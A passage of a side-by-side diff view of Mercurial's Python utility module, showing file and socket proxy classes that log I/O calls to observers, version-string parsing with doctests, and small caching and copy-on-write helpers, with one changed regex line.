|
539 | 539 | 'readline', *args, **kwargs |
|
540 | 540 | ) |
|
541 | 541 | |
|
542 | 542 | def readlines(self, *args, **kwargs): |
|
543 | 543 | return object.__getattribute__(self, '_observedcall')( |
|
544 | 544 | 'readlines', *args, **kwargs |
|
545 | 545 | ) |
|
546 | 546 | |
|
547 | 547 | def seek(self, *args, **kwargs): |
|
548 | 548 | return object.__getattribute__(self, '_observedcall')( |
|
549 | 549 | 'seek', *args, **kwargs |
|
550 | 550 | ) |
|
551 | 551 | |
|
552 | 552 | def seekable(self, *args, **kwargs): |
|
553 | 553 | return object.__getattribute__(self, '_observedcall')( |
|
554 | 554 | 'seekable', *args, **kwargs |
|
555 | 555 | ) |
|
556 | 556 | |
|
557 | 557 | def tell(self, *args, **kwargs): |
|
558 | 558 | return object.__getattribute__(self, '_observedcall')( |
|
559 | 559 | 'tell', *args, **kwargs |
|
560 | 560 | ) |
|
561 | 561 | |
|
562 | 562 | def truncate(self, *args, **kwargs): |
|
563 | 563 | return object.__getattribute__(self, '_observedcall')( |
|
564 | 564 | 'truncate', *args, **kwargs |
|
565 | 565 | ) |
|
566 | 566 | |
|
567 | 567 | def writable(self, *args, **kwargs): |
|
568 | 568 | return object.__getattribute__(self, '_observedcall')( |
|
569 | 569 | 'writable', *args, **kwargs |
|
570 | 570 | ) |
|
571 | 571 | |
|
572 | 572 | def writelines(self, *args, **kwargs): |
|
573 | 573 | return object.__getattribute__(self, '_observedcall')( |
|
574 | 574 | 'writelines', *args, **kwargs |
|
575 | 575 | ) |
|
576 | 576 | |
|
577 | 577 | def read(self, *args, **kwargs): |
|
578 | 578 | return object.__getattribute__(self, '_observedcall')( |
|
579 | 579 | 'read', *args, **kwargs |
|
580 | 580 | ) |
|
581 | 581 | |
|
582 | 582 | def readall(self, *args, **kwargs): |
|
583 | 583 | return object.__getattribute__(self, '_observedcall')( |
|
584 | 584 | 'readall', *args, **kwargs |
|
585 | 585 | ) |
|
586 | 586 | |
|
587 | 587 | def readinto(self, *args, **kwargs): |
|
588 | 588 | return object.__getattribute__(self, '_observedcall')( |
|
589 | 589 | 'readinto', *args, **kwargs |
|
590 | 590 | ) |
|
591 | 591 | |
|
592 | 592 | def write(self, *args, **kwargs): |
|
593 | 593 | return object.__getattribute__(self, '_observedcall')( |
|
594 | 594 | 'write', *args, **kwargs |
|
595 | 595 | ) |
|
596 | 596 | |
|
597 | 597 | def detach(self, *args, **kwargs): |
|
598 | 598 | return object.__getattribute__(self, '_observedcall')( |
|
599 | 599 | 'detach', *args, **kwargs |
|
600 | 600 | ) |
|
601 | 601 | |
|
602 | 602 | def read1(self, *args, **kwargs): |
|
603 | 603 | return object.__getattribute__(self, '_observedcall')( |
|
604 | 604 | 'read1', *args, **kwargs |
|
605 | 605 | ) |
|
606 | 606 | |
|
607 | 607 | |
|
608 | 608 | class observedbufferedinputpipe(bufferedinputpipe): |
|
609 | 609 | """A variation of bufferedinputpipe that is aware of fileobjectproxy. |
|
610 | 610 | |
|
611 | 611 | ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that |
|
612 | 612 | bypass ``fileobjectproxy``. Because of this, we need to make |
|
613 | 613 | ``bufferedinputpipe`` aware of these operations. |
|
614 | 614 | |
|
615 | 615 | This variation of ``bufferedinputpipe`` can notify observers about |
|
616 | 616 | ``os.read()`` events. It also re-publishes other events, such as |
|
617 | 617 | ``read()`` and ``readline()``. |
|
618 | 618 | """ |
|
619 | 619 | |
|
620 | 620 | def _fillbuffer(self): |
|
621 | 621 | res = super(observedbufferedinputpipe, self)._fillbuffer() |
|
622 | 622 | |
|
623 | 623 | fn = getattr(self._input._observer, 'osread', None) |
|
624 | 624 | if fn: |
|
625 | 625 | fn(res, _chunksize) |
|
626 | 626 | |
|
627 | 627 | return res |
|
628 | 628 | |
|
629 | 629 | # We use different observer methods because the operation isn't |
|
630 | 630 | # performed on the actual file object but on us. |
|
631 | 631 | def read(self, size): |
|
632 | 632 | res = super(observedbufferedinputpipe, self).read(size) |
|
633 | 633 | |
|
634 | 634 | fn = getattr(self._input._observer, 'bufferedread', None) |
|
635 | 635 | if fn: |
|
636 | 636 | fn(res, size) |
|
637 | 637 | |
|
638 | 638 | return res |
|
639 | 639 | |
|
640 | 640 | def readline(self, *args, **kwargs): |
|
641 | 641 | res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) |
|
642 | 642 | |
|
643 | 643 | fn = getattr(self._input._observer, 'bufferedreadline', None) |
|
644 | 644 | if fn: |
|
645 | 645 | fn(res) |
|
646 | 646 | |
|
647 | 647 | return res |
|
648 | 648 | |
|
649 | 649 | |
|
650 | 650 | PROXIED_SOCKET_METHODS = { |
|
651 | 651 | 'makefile', |
|
652 | 652 | 'recv', |
|
653 | 653 | 'recvfrom', |
|
654 | 654 | 'recvfrom_into', |
|
655 | 655 | 'recv_into', |
|
656 | 656 | 'send', |
|
657 | 657 | 'sendall', |
|
658 | 658 | 'sendto', |
|
659 | 659 | 'setblocking', |
|
660 | 660 | 'settimeout', |
|
661 | 661 | 'gettimeout', |
|
662 | 662 | 'setsockopt', |
|
663 | 663 | } |
|
664 | 664 | |
|
665 | 665 | |
|
666 | 666 | class socketproxy(object): |
|
667 | 667 | """A proxy around a socket that tells a watcher when events occur. |
|
668 | 668 | |
|
669 | 669 | This is like ``fileobjectproxy`` except for sockets. |
|
670 | 670 | |
|
671 | 671 | This type is intended to only be used for testing purposes. Think hard |
|
672 | 672 | before using it in important code. |
|
673 | 673 | """ |
|
674 | 674 | |
|
675 | 675 | __slots__ = ( |
|
676 | 676 | '_orig', |
|
677 | 677 | '_observer', |
|
678 | 678 | ) |
|
679 | 679 | |
|
680 | 680 | def __init__(self, sock, observer): |
|
681 | 681 | object.__setattr__(self, '_orig', sock) |
|
682 | 682 | object.__setattr__(self, '_observer', observer) |
|
683 | 683 | |
|
684 | 684 | def __getattribute__(self, name): |
|
685 | 685 | if name in PROXIED_SOCKET_METHODS: |
|
686 | 686 | return object.__getattribute__(self, name) |
|
687 | 687 | |
|
688 | 688 | return getattr(object.__getattribute__(self, '_orig'), name) |
|
689 | 689 | |
|
690 | 690 | def __delattr__(self, name): |
|
691 | 691 | return delattr(object.__getattribute__(self, '_orig'), name) |
|
692 | 692 | |
|
693 | 693 | def __setattr__(self, name, value): |
|
694 | 694 | return setattr(object.__getattribute__(self, '_orig'), name, value) |
|
695 | 695 | |
|
696 | 696 | def __nonzero__(self): |
|
697 | 697 | return bool(object.__getattribute__(self, '_orig')) |
|
698 | 698 | |
|
699 | 699 | __bool__ = __nonzero__ |
|
700 | 700 | |
|
701 | 701 | def _observedcall(self, name, *args, **kwargs): |
|
702 | 702 | # Call the original object. |
|
703 | 703 | orig = object.__getattribute__(self, '_orig') |
|
704 | 704 | res = getattr(orig, name)(*args, **kwargs) |
|
705 | 705 | |
|
706 | 706 | # Call a method on the observer of the same name with arguments |
|
707 | 707 | # so it can react, log, etc. |
|
708 | 708 | observer = object.__getattribute__(self, '_observer') |
|
709 | 709 | fn = getattr(observer, name, None) |
|
710 | 710 | if fn: |
|
711 | 711 | fn(res, *args, **kwargs) |
|
712 | 712 | |
|
713 | 713 | return res |
|
714 | 714 | |
|
715 | 715 | def makefile(self, *args, **kwargs): |
|
716 | 716 | res = object.__getattribute__(self, '_observedcall')( |
|
717 | 717 | 'makefile', *args, **kwargs |
|
718 | 718 | ) |
|
719 | 719 | |
|
720 | 720 | # The file object may be used for I/O. So we turn it into a |
|
721 | 721 | # proxy using our observer. |
|
722 | 722 | observer = object.__getattribute__(self, '_observer') |
|
723 | 723 | return makeloggingfileobject( |
|
724 | 724 | observer.fh, |
|
725 | 725 | res, |
|
726 | 726 | observer.name, |
|
727 | 727 | reads=observer.reads, |
|
728 | 728 | writes=observer.writes, |
|
729 | 729 | logdata=observer.logdata, |
|
730 | 730 | logdataapis=observer.logdataapis, |
|
731 | 731 | ) |
|
732 | 732 | |
|
733 | 733 | def recv(self, *args, **kwargs): |
|
734 | 734 | return object.__getattribute__(self, '_observedcall')( |
|
735 | 735 | 'recv', *args, **kwargs |
|
736 | 736 | ) |
|
737 | 737 | |
|
738 | 738 | def recvfrom(self, *args, **kwargs): |
|
739 | 739 | return object.__getattribute__(self, '_observedcall')( |
|
740 | 740 | 'recvfrom', *args, **kwargs |
|
741 | 741 | ) |
|
742 | 742 | |
|
743 | 743 | def recvfrom_into(self, *args, **kwargs): |
|
744 | 744 | return object.__getattribute__(self, '_observedcall')( |
|
745 | 745 | 'recvfrom_into', *args, **kwargs |
|
746 | 746 | ) |
|
747 | 747 | |
|
748 | 748 | def recv_into(self, *args, **kwargs): |
|
749 | 749 | return object.__getattribute__(self, '_observedcall')( |
|
750 | 750 | 'recv_info', *args, **kwargs |
|
751 | 751 | ) |
|
752 | 752 | |
|
753 | 753 | def send(self, *args, **kwargs): |
|
754 | 754 | return object.__getattribute__(self, '_observedcall')( |
|
755 | 755 | 'send', *args, **kwargs |
|
756 | 756 | ) |
|
757 | 757 | |
|
758 | 758 | def sendall(self, *args, **kwargs): |
|
759 | 759 | return object.__getattribute__(self, '_observedcall')( |
|
760 | 760 | 'sendall', *args, **kwargs |
|
761 | 761 | ) |
|
762 | 762 | |
|
763 | 763 | def sendto(self, *args, **kwargs): |
|
764 | 764 | return object.__getattribute__(self, '_observedcall')( |
|
765 | 765 | 'sendto', *args, **kwargs |
|
766 | 766 | ) |
|
767 | 767 | |
|
768 | 768 | def setblocking(self, *args, **kwargs): |
|
769 | 769 | return object.__getattribute__(self, '_observedcall')( |
|
770 | 770 | 'setblocking', *args, **kwargs |
|
771 | 771 | ) |
|
772 | 772 | |
|
773 | 773 | def settimeout(self, *args, **kwargs): |
|
774 | 774 | return object.__getattribute__(self, '_observedcall')( |
|
775 | 775 | 'settimeout', *args, **kwargs |
|
776 | 776 | ) |
|
777 | 777 | |
|
778 | 778 | def gettimeout(self, *args, **kwargs): |
|
779 | 779 | return object.__getattribute__(self, '_observedcall')( |
|
780 | 780 | 'gettimeout', *args, **kwargs |
|
781 | 781 | ) |
|
782 | 782 | |
|
783 | 783 | def setsockopt(self, *args, **kwargs): |
|
784 | 784 | return object.__getattribute__(self, '_observedcall')( |
|
785 | 785 | 'setsockopt', *args, **kwargs |
|
786 | 786 | ) |
|
787 | 787 | |
|
788 | 788 | |
|
789 | 789 | class baseproxyobserver(object): |
|
790 | 790 | def __init__(self, fh, name, logdata, logdataapis): |
|
791 | 791 | self.fh = fh |
|
792 | 792 | self.name = name |
|
793 | 793 | self.logdata = logdata |
|
794 | 794 | self.logdataapis = logdataapis |
|
795 | 795 | |
|
796 | 796 | def _writedata(self, data): |
|
797 | 797 | if not self.logdata: |
|
798 | 798 | if self.logdataapis: |
|
799 | 799 | self.fh.write(b'\n') |
|
800 | 800 | self.fh.flush() |
|
801 | 801 | return |
|
802 | 802 | |
|
803 | 803 | # Simple case writes all data on a single line. |
|
804 | 804 | if b'\n' not in data: |
|
805 | 805 | if self.logdataapis: |
|
806 | 806 | self.fh.write(b': %s\n' % stringutil.escapestr(data)) |
|
807 | 807 | else: |
|
808 | 808 | self.fh.write( |
|
809 | 809 | b'%s> %s\n' % (self.name, stringutil.escapestr(data)) |
|
810 | 810 | ) |
|
811 | 811 | self.fh.flush() |
|
812 | 812 | return |
|
813 | 813 | |
|
814 | 814 | # Data with newlines is written to multiple lines. |
|
815 | 815 | if self.logdataapis: |
|
816 | 816 | self.fh.write(b':\n') |
|
817 | 817 | |
|
818 | 818 | lines = data.splitlines(True) |
|
819 | 819 | for line in lines: |
|
820 | 820 | self.fh.write( |
|
821 | 821 | b'%s> %s\n' % (self.name, stringutil.escapestr(line)) |
|
822 | 822 | ) |
|
823 | 823 | self.fh.flush() |
|
824 | 824 | |
|
825 | 825 | |
|
826 | 826 | class fileobjectobserver(baseproxyobserver): |
|
827 | 827 | """Logs file object activity.""" |
|
828 | 828 | |
|
829 | 829 | def __init__( |
|
830 | 830 | self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True |
|
831 | 831 | ): |
|
832 | 832 | super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis) |
|
833 | 833 | self.reads = reads |
|
834 | 834 | self.writes = writes |
|
835 | 835 | |
|
836 | 836 | def read(self, res, size=-1): |
|
837 | 837 | if not self.reads: |
|
838 | 838 | return |
|
839 | 839 | # Python 3 can return None from reads at EOF instead of empty strings. |
|
840 | 840 | if res is None: |
|
841 | 841 | res = b'' |
|
842 | 842 | |
|
843 | 843 | if size == -1 and res == b'': |
|
844 | 844 | # Suppress pointless read(-1) calls that return |
|
845 | 845 | # nothing. These happen _a lot_ on Python 3, and there |
|
846 | 846 | # doesn't seem to be a better workaround to have matching |
|
847 | 847 | # Python 2 and 3 behavior. :( |
|
848 | 848 | return |
|
849 | 849 | |
|
850 | 850 | if self.logdataapis: |
|
851 | 851 | self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res))) |
|
852 | 852 | |
|
853 | 853 | self._writedata(res) |
|
854 | 854 | |
|
855 | 855 | def readline(self, res, limit=-1): |
|
856 | 856 | if not self.reads: |
|
857 | 857 | return |
|
858 | 858 | |
|
859 | 859 | if self.logdataapis: |
|
860 | 860 | self.fh.write(b'%s> readline() -> %d' % (self.name, len(res))) |
|
861 | 861 | |
|
862 | 862 | self._writedata(res) |
|
863 | 863 | |
|
864 | 864 | def readinto(self, res, dest): |
|
865 | 865 | if not self.reads: |
|
866 | 866 | return |
|
867 | 867 | |
|
868 | 868 | if self.logdataapis: |
|
869 | 869 | self.fh.write( |
|
870 | 870 | b'%s> readinto(%d) -> %r' % (self.name, len(dest), res) |
|
871 | 871 | ) |
|
872 | 872 | |
|
873 | 873 | data = dest[0:res] if res is not None else b'' |
|
874 | 874 | |
|
875 | 875 | # _writedata() uses "in" operator and is confused by memoryview because |
|
876 | 876 | # characters are ints on Python 3. |
|
877 | 877 | if isinstance(data, memoryview): |
|
878 | 878 | data = data.tobytes() |
|
879 | 879 | |
|
880 | 880 | self._writedata(data) |
|
881 | 881 | |
|
882 | 882 | def write(self, res, data): |
|
883 | 883 | if not self.writes: |
|
884 | 884 | return |
|
885 | 885 | |
|
886 | 886 | # Python 2 returns None from some write() calls. Python 3 (reasonably) |
|
887 | 887 | # returns the integer bytes written. |
|
888 | 888 | if res is None and data: |
|
889 | 889 | res = len(data) |
|
890 | 890 | |
|
891 | 891 | if self.logdataapis: |
|
892 | 892 | self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res)) |
|
893 | 893 | |
|
894 | 894 | self._writedata(data) |
|
895 | 895 | |
|
896 | 896 | def flush(self, res): |
|
897 | 897 | if not self.writes: |
|
898 | 898 | return |
|
899 | 899 | |
|
900 | 900 | self.fh.write(b'%s> flush() -> %r\n' % (self.name, res)) |
|
901 | 901 | |
|
902 | 902 | # For observedbufferedinputpipe. |
|
903 | 903 | def bufferedread(self, res, size): |
|
904 | 904 | if not self.reads: |
|
905 | 905 | return |
|
906 | 906 | |
|
907 | 907 | if self.logdataapis: |
|
908 | 908 | self.fh.write( |
|
909 | 909 | b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res)) |
|
910 | 910 | ) |
|
911 | 911 | |
|
912 | 912 | self._writedata(res) |
|
913 | 913 | |
|
914 | 914 | def bufferedreadline(self, res): |
|
915 | 915 | if not self.reads: |
|
916 | 916 | return |
|
917 | 917 | |
|
918 | 918 | if self.logdataapis: |
|
919 | 919 | self.fh.write( |
|
920 | 920 | b'%s> bufferedreadline() -> %d' % (self.name, len(res)) |
|
921 | 921 | ) |
|
922 | 922 | |
|
923 | 923 | self._writedata(res) |
|
924 | 924 | |
|
925 | 925 | |
|
926 | 926 | def makeloggingfileobject( |
|
927 | 927 | logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True |
|
928 | 928 | ): |
|
929 | 929 | """Turn a file object into a logging file object.""" |
|
930 | 930 | |
|
931 | 931 | observer = fileobjectobserver( |
|
932 | 932 | logh, |
|
933 | 933 | name, |
|
934 | 934 | reads=reads, |
|
935 | 935 | writes=writes, |
|
936 | 936 | logdata=logdata, |
|
937 | 937 | logdataapis=logdataapis, |
|
938 | 938 | ) |
|
939 | 939 | return fileobjectproxy(fh, observer) |
|
940 | 940 | |
|
941 | 941 | |
|
942 | 942 | class socketobserver(baseproxyobserver): |
|
943 | 943 | """Logs socket activity.""" |
|
944 | 944 | |
|
945 | 945 | def __init__( |
|
946 | 946 | self, |
|
947 | 947 | fh, |
|
948 | 948 | name, |
|
949 | 949 | reads=True, |
|
950 | 950 | writes=True, |
|
951 | 951 | states=True, |
|
952 | 952 | logdata=False, |
|
953 | 953 | logdataapis=True, |
|
954 | 954 | ): |
|
955 | 955 | super(socketobserver, self).__init__(fh, name, logdata, logdataapis) |
|
956 | 956 | self.reads = reads |
|
957 | 957 | self.writes = writes |
|
958 | 958 | self.states = states |
|
959 | 959 | |
|
960 | 960 | def makefile(self, res, mode=None, bufsize=None): |
|
961 | 961 | if not self.states: |
|
962 | 962 | return |
|
963 | 963 | |
|
964 | 964 | self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize)) |
|
965 | 965 | |
|
966 | 966 | def recv(self, res, size, flags=0): |
|
967 | 967 | if not self.reads: |
|
968 | 968 | return |
|
969 | 969 | |
|
970 | 970 | if self.logdataapis: |
|
971 | 971 | self.fh.write( |
|
972 | 972 | b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res)) |
|
973 | 973 | ) |
|
974 | 974 | self._writedata(res) |
|
975 | 975 | |
|
976 | 976 | def recvfrom(self, res, size, flags=0): |
|
977 | 977 | if not self.reads: |
|
978 | 978 | return |
|
979 | 979 | |
|
980 | 980 | if self.logdataapis: |
|
981 | 981 | self.fh.write( |
|
982 | 982 | b'%s> recvfrom(%d, %d) -> %d' |
|
983 | 983 | % (self.name, size, flags, len(res[0])) |
|
984 | 984 | ) |
|
985 | 985 | |
|
986 | 986 | self._writedata(res[0]) |
|
987 | 987 | |
|
988 | 988 | def recvfrom_into(self, res, buf, size, flags=0): |
|
989 | 989 | if not self.reads: |
|
990 | 990 | return |
|
991 | 991 | |
|
992 | 992 | if self.logdataapis: |
|
993 | 993 | self.fh.write( |
|
994 | 994 | b'%s> recvfrom_into(%d, %d) -> %d' |
|
995 | 995 | % (self.name, size, flags, res[0]) |
|
996 | 996 | ) |
|
997 | 997 | |
|
998 | 998 | self._writedata(buf[0 : res[0]]) |
|
999 | 999 | |
|
1000 | 1000 | def recv_into(self, res, buf, size=0, flags=0): |
|
1001 | 1001 | if not self.reads: |
|
1002 | 1002 | return |
|
1003 | 1003 | |
|
1004 | 1004 | if self.logdataapis: |
|
1005 | 1005 | self.fh.write( |
|
1006 | 1006 | b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res) |
|
1007 | 1007 | ) |
|
1008 | 1008 | |
|
1009 | 1009 | self._writedata(buf[0:res]) |
|
1010 | 1010 | |
|
1011 | 1011 | def send(self, res, data, flags=0): |
|
1012 | 1012 | if not self.writes: |
|
1013 | 1013 | return |
|
1014 | 1014 | |
|
1015 | 1015 | self.fh.write( |
|
1016 | 1016 | b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res)) |
|
1017 | 1017 | ) |
|
1018 | 1018 | self._writedata(data) |
|
1019 | 1019 | |
|
1020 | 1020 | def sendall(self, res, data, flags=0): |
|
1021 | 1021 | if not self.writes: |
|
1022 | 1022 | return |
|
1023 | 1023 | |
|
1024 | 1024 | if self.logdataapis: |
|
1025 | 1025 | # Returns None on success. So don't bother reporting return value. |
|
1026 | 1026 | self.fh.write( |
|
1027 | 1027 | b'%s> sendall(%d, %d)' % (self.name, len(data), flags) |
|
1028 | 1028 | ) |
|
1029 | 1029 | |
|
1030 | 1030 | self._writedata(data) |
|
1031 | 1031 | |
|
1032 | 1032 | def sendto(self, res, data, flagsoraddress, address=None): |
|
1033 | 1033 | if not self.writes: |
|
1034 | 1034 | return |
|
1035 | 1035 | |
|
1036 | 1036 | if address: |
|
1037 | 1037 | flags = flagsoraddress |
|
1038 | 1038 | else: |
|
1039 | 1039 | flags = 0 |
|
1040 | 1040 | |
|
1041 | 1041 | if self.logdataapis: |
|
1042 | 1042 | self.fh.write( |
|
1043 | 1043 | b'%s> sendto(%d, %d, %r) -> %d' |
|
1044 | 1044 | % (self.name, len(data), flags, address, res) |
|
1045 | 1045 | ) |
|
1046 | 1046 | |
|
1047 | 1047 | self._writedata(data) |
|
1048 | 1048 | |
|
1049 | 1049 | def setblocking(self, res, flag): |
|
1050 | 1050 | if not self.states: |
|
1051 | 1051 | return |
|
1052 | 1052 | |
|
1053 | 1053 | self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag)) |
|
1054 | 1054 | |
|
1055 | 1055 | def settimeout(self, res, value): |
|
1056 | 1056 | if not self.states: |
|
1057 | 1057 | return |
|
1058 | 1058 | |
|
1059 | 1059 | self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value)) |
|
1060 | 1060 | |
|
1061 | 1061 | def gettimeout(self, res): |
|
1062 | 1062 | if not self.states: |
|
1063 | 1063 | return |
|
1064 | 1064 | |
|
1065 | 1065 | self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res)) |
|
1066 | 1066 | |
|
1067 | 1067 | def setsockopt(self, res, level, optname, value): |
|
1068 | 1068 | if not self.states: |
|
1069 | 1069 | return |
|
1070 | 1070 | |
|
1071 | 1071 | self.fh.write( |
|
1072 | 1072 | b'%s> setsockopt(%r, %r, %r) -> %r\n' |
|
1073 | 1073 | % (self.name, level, optname, value, res) |
|
1074 | 1074 | ) |
|
1075 | 1075 | |
|
1076 | 1076 | |
|
1077 | 1077 | def makeloggingsocket( |
|
1078 | 1078 | logh, |
|
1079 | 1079 | fh, |
|
1080 | 1080 | name, |
|
1081 | 1081 | reads=True, |
|
1082 | 1082 | writes=True, |
|
1083 | 1083 | states=True, |
|
1084 | 1084 | logdata=False, |
|
1085 | 1085 | logdataapis=True, |
|
1086 | 1086 | ): |
|
1087 | 1087 | """Turn a socket into a logging socket.""" |
|
1088 | 1088 | |
|
1089 | 1089 | observer = socketobserver( |
|
1090 | 1090 | logh, |
|
1091 | 1091 | name, |
|
1092 | 1092 | reads=reads, |
|
1093 | 1093 | writes=writes, |
|
1094 | 1094 | states=states, |
|
1095 | 1095 | logdata=logdata, |
|
1096 | 1096 | logdataapis=logdataapis, |
|
1097 | 1097 | ) |
|
1098 | 1098 | return socketproxy(fh, observer) |
|
1099 | 1099 | |
|
1100 | 1100 | |
|
1101 | 1101 | def version(): |
|
1102 | 1102 | """Return version information if available.""" |
|
1103 | 1103 | try: |
|
1104 | 1104 | from . import __version__ |
|
1105 | 1105 | |
|
1106 | 1106 | return __version__.version |
|
1107 | 1107 | except ImportError: |
|
1108 | 1108 | return b'unknown' |
|
1109 | 1109 | |
|
1110 | 1110 | |
|
1111 | 1111 | def versiontuple(v=None, n=4): |
|
1112 | 1112 | """Parses a Mercurial version string into an N-tuple. |
|
1113 | 1113 | |
|
1114 | 1114 | The version string to be parsed is specified with the ``v`` argument. |
|
1115 | 1115 | If it isn't defined, the current Mercurial version string will be parsed. |
|
1116 | 1116 | |
|
1117 | 1117 | ``n`` can be 2, 3, or 4. Here is how some version strings map to |
|
1118 | 1118 | returned values: |
|
1119 | 1119 | |
|
1120 | 1120 | >>> v = b'3.6.1+190-df9b73d2d444' |
|
1121 | 1121 | >>> versiontuple(v, 2) |
|
1122 | 1122 | (3, 6) |
|
1123 | 1123 | >>> versiontuple(v, 3) |
|
1124 | 1124 | (3, 6, 1) |
|
1125 | 1125 | >>> versiontuple(v, 4) |
|
1126 | 1126 | (3, 6, 1, '190-df9b73d2d444') |
|
1127 | 1127 | |
|
1128 | 1128 | >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118') |
|
1129 | 1129 | (3, 6, 1, '190-df9b73d2d444+20151118') |
|
1130 | 1130 | |
|
1131 | 1131 | >>> v = b'3.6' |
|
1132 | 1132 | >>> versiontuple(v, 2) |
|
1133 | 1133 | (3, 6) |
|
1134 | 1134 | >>> versiontuple(v, 3) |
|
1135 | 1135 | (3, 6, None) |
|
1136 | 1136 | >>> versiontuple(v, 4) |
|
1137 | 1137 | (3, 6, None, None) |
|
1138 | 1138 | |
|
1139 | 1139 | >>> v = b'3.9-rc' |
|
1140 | 1140 | >>> versiontuple(v, 2) |
|
1141 | 1141 | (3, 9) |
|
1142 | 1142 | >>> versiontuple(v, 3) |
|
1143 | 1143 | (3, 9, None) |
|
1144 | 1144 | >>> versiontuple(v, 4) |
|
1145 | 1145 | (3, 9, None, 'rc') |
|
1146 | 1146 | |
|
1147 | 1147 | >>> v = b'3.9-rc+2-02a8fea4289b' |
|
1148 | 1148 | >>> versiontuple(v, 2) |
|
1149 | 1149 | (3, 9) |
|
1150 | 1150 | >>> versiontuple(v, 3) |
|
1151 | 1151 | (3, 9, None) |
|
1152 | 1152 | >>> versiontuple(v, 4) |
|
1153 | 1153 | (3, 9, None, 'rc+2-02a8fea4289b') |
|
1154 | 1154 | |
|
1155 | 1155 | >>> versiontuple(b'4.6rc0') |
|
1156 | 1156 | (4, 6, None, 'rc0') |
|
1157 | 1157 | >>> versiontuple(b'4.6rc0+12-425d55e54f98') |
|
1158 | 1158 | (4, 6, None, 'rc0+12-425d55e54f98') |
|
1159 | 1159 | >>> versiontuple(b'.1.2.3') |
|
1160 | 1160 | (None, None, None, '.1.2.3') |
|
1161 | 1161 | >>> versiontuple(b'12.34..5') |
|
1162 | 1162 | (12, 34, None, '..5') |
|
1163 | 1163 | >>> versiontuple(b'1.2.3.4.5.6') |
|
1164 | 1164 | (1, 2, 3, '.4.5.6') |
|
1165 | 1165 | """ |
|
1166 | 1166 | if not v: |
|
1167 | 1167 | v = version() |
|
1168 |
m = remod.match(br'(\d+(?:\.\d+){,2})[ |
|
|
1168 | m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v) | |
|
1169 | 1169 | if not m: |
|
1170 | 1170 | vparts, extra = b'', v |
|
1171 | 1171 | elif m.group(2): |
|
1172 | 1172 | vparts, extra = m.groups() |
|
1173 | 1173 | else: |
|
1174 | 1174 | vparts, extra = m.group(1), None |
|
1175 | 1175 | |
|
1176 | 1176 | assert vparts is not None # help pytype |
|
1177 | 1177 | |
|
1178 | 1178 | vints = [] |
|
1179 | 1179 | for i in vparts.split(b'.'): |
|
1180 | 1180 | try: |
|
1181 | 1181 | vints.append(int(i)) |
|
1182 | 1182 | except ValueError: |
|
1183 | 1183 | break |
|
1184 | 1184 | # (3, 6) -> (3, 6, None) |
|
1185 | 1185 | while len(vints) < 3: |
|
1186 | 1186 | vints.append(None) |
|
1187 | 1187 | |
|
1188 | 1188 | if n == 2: |
|
1189 | 1189 | return (vints[0], vints[1]) |
|
1190 | 1190 | if n == 3: |
|
1191 | 1191 | return (vints[0], vints[1], vints[2]) |
|
1192 | 1192 | if n == 4: |
|
1193 | 1193 | return (vints[0], vints[1], vints[2], extra) |
|
1194 | 1194 | |
|
1195 | 1195 | |
|
1196 | 1196 | def cachefunc(func): |
|
1197 | 1197 | '''cache the result of function calls''' |
|
1198 | 1198 | # XXX doesn't handle keywords args |
|
1199 | 1199 | if func.__code__.co_argcount == 0: |
|
1200 | 1200 | listcache = [] |
|
1201 | 1201 | |
|
1202 | 1202 | def f(): |
|
1203 | 1203 | if len(listcache) == 0: |
|
1204 | 1204 | listcache.append(func()) |
|
1205 | 1205 | return listcache[0] |
|
1206 | 1206 | |
|
1207 | 1207 | return f |
|
1208 | 1208 | cache = {} |
|
1209 | 1209 | if func.__code__.co_argcount == 1: |
|
1210 | 1210 | # we gain a small amount of time because |
|
1211 | 1211 | # we don't need to pack/unpack the list |
|
1212 | 1212 | def f(arg): |
|
1213 | 1213 | if arg not in cache: |
|
1214 | 1214 | cache[arg] = func(arg) |
|
1215 | 1215 | return cache[arg] |
|
1216 | 1216 | |
|
1217 | 1217 | else: |
|
1218 | 1218 | |
|
1219 | 1219 | def f(*args): |
|
1220 | 1220 | if args not in cache: |
|
1221 | 1221 | cache[args] = func(*args) |
|
1222 | 1222 | return cache[args] |
|
1223 | 1223 | |
|
1224 | 1224 | return f |
|
1225 | 1225 | |
|
1226 | 1226 | |
|
1227 | 1227 | class cow(object): |
|
1228 | 1228 | """helper class to make copy-on-write easier |
|
1229 | 1229 | |
|
1230 | 1230 | Call preparewrite before doing any writes. |
|
1231 | 1231 | """ |
|
1232 | 1232 | |
|
1233 | 1233 | def preparewrite(self): |
|
1234 | 1234 | """call this before writes, return self or a copied new object""" |
|
1235 | 1235 | if getattr(self, '_copied', 0): |
|
1236 | 1236 | self._copied -= 1 |
|
1237 | 1237 | return self.__class__(self) |
|
1238 | 1238 | return self |
|
1239 | 1239 | |
|
1240 | 1240 | def copy(self): |
|
1241 | 1241 | """always do a cheap copy""" |
|
1242 | 1242 | self._copied = getattr(self, '_copied', 0) + 1 |
|
1243 | 1243 | return self |
|
1244 | 1244 | |
|
1245 | 1245 | |
|
1246 | 1246 | class sortdict(collections.OrderedDict): |
|
1247 | 1247 | '''a simple sorted dictionary |
|
1248 | 1248 | |
|
1249 | 1249 | >>> d1 = sortdict([(b'a', 0), (b'b', 1)]) |
|
1250 | 1250 | >>> d2 = d1.copy() |
|
1251 | 1251 | >>> d2 |
|
1252 | 1252 | sortdict([('a', 0), ('b', 1)]) |
|
1253 | 1253 | >>> d2.update([(b'a', 2)]) |
|
1254 | 1254 | >>> list(d2.keys()) # should still be in last-set order |
|
1255 | 1255 | ['b', 'a'] |
|
1256 | 1256 | >>> d1.insert(1, b'a.5', 0.5) |
|
1257 | 1257 | >>> d1 |
|
